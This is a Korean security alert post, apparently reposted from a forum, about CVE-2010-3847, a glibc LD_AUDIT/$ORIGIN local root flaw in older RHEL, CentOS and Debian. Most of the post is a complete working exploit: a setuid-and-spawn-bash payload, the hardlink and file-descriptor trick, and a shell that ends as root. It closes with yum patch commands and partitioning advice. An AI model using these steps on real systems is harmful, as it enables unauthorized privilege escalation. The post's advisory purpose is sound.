[긴급]RHEL/CENTOS/DEBIAN 5 & RHEL 6 / 에서 일반계정으로 쉽게 root 권한 획득하는 문제점 발견
레드햇 보안 취약성으로 IMPORT 레벨로 일반계정으로 ROOT 권한을 획득할 수 있는 방법과 패치입니다.
패치 방법과 내용은 위의 URL을 참고하세요.
>>>절차
일반계정으로 접속후 아래와 같이 명령 진행
$ cd /tmp
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D (ctrl +d)
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 test test 64 10월 21 09:38 /proc/16189/fd/3 -> /tmp/exploit/target (deleted)
$ cat payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
gcc: spec failure: unrecognized spec option 'M'
gcc: spec failure: unrecognized spec option 'M'
# LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# whoami
root
여기서 부터는 root 권한으로 실행됨.
>>> 이에 대한 해결안 대략 2가지
1. 보통 두가지 해당 패키지를 YUM으로 업데이트 할것
2. sticky bit 가 있는 바이러리 디렉토리와 사용자가 쓸 수 있는 디렉토리를 파티션으로 분리할 것
출처: http://cafe.daum.net/redhat/D4GV/17
>>> 패치방법
yum install yum-security
yum update --cve CVE-2010-3847